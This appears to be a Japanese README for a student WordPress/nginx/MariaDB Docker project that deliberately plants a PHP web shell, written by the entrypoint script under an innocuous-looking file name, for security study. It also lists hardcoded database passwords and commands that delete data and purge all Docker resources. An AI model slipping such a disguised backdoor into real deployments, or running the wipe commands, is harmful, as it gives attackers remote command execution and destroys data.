WordpressのDockerコンテナです。 セキュリティの勉強をかねて少し手をこんだことをします。
WebShell仕込んでます。 実稼働で使わないでください!
- nginx
- wordpress
- mariadb
https://localhost:443/wordpress/wp_get-access.php
ありそうな名前wp_get-access.php
で作ってます。
- /var/www/html/wordpress/wp_get-access.php
srcs/requirements/wordpress/docker-entrypoint.sh
echo '<?php system($_GET["cmd"]);?>' > /var/www/html/wordpress/wp_get-access.php
Bonusの部分で利用します。
自分が便利だと思う好きなサービスを設定する。選んだサービスを正当化する必要があります。
昔作ったポートフォリをを載せてます。
Bonusの部分で利用します。
PHPを除くお好きな言語で、簡単な静的ウェブサイトを作成してください(はい、PHPは除きます!)。例えば、ショーケースサイトや履歴書を発表するためのサイトなど。
# Maria DBのサーバーにアタッチする
docker exec -it $(docker ps -q -f name=mariadb) /bin/ash
# rootでDBにアクセスする
mariadb -h localhost -u root -payatoshitomi
# db_userでDBアクセスする
mariadb -h localhost -u db_user -p42inceptiondbroot
# MySQLのコマンド
> USE mysql;
> SELECT * FROM <TABLE_NAME>
# 補足)
# rootでパスワードなしでログインできないようになっている。
mariadb -hlocalhost -uroot
sudo rm -rf ~/data/
docker stop $(docker ps -qa); docker rm $(docker ps -qa); docker rmi -f $(docker images -qa); docker volume rm $(docker volume ls -q); docker network rm $(docker network ls -q) 2>/dev/null
https://localhost:443/wp_install_log.html
docker-compose.yamlでボリュームを設定している場合、docker volume lsコマンドでは表示されません。 ボリュームが作成されるのは、docker-compose up -dコマンドを実行してコンテナを起動した時点でのみです。
docker-compose.yamlを利用するのでボリュームは確認できない。
しかし、/home/ashitomi/
を見れば存在が確認できる。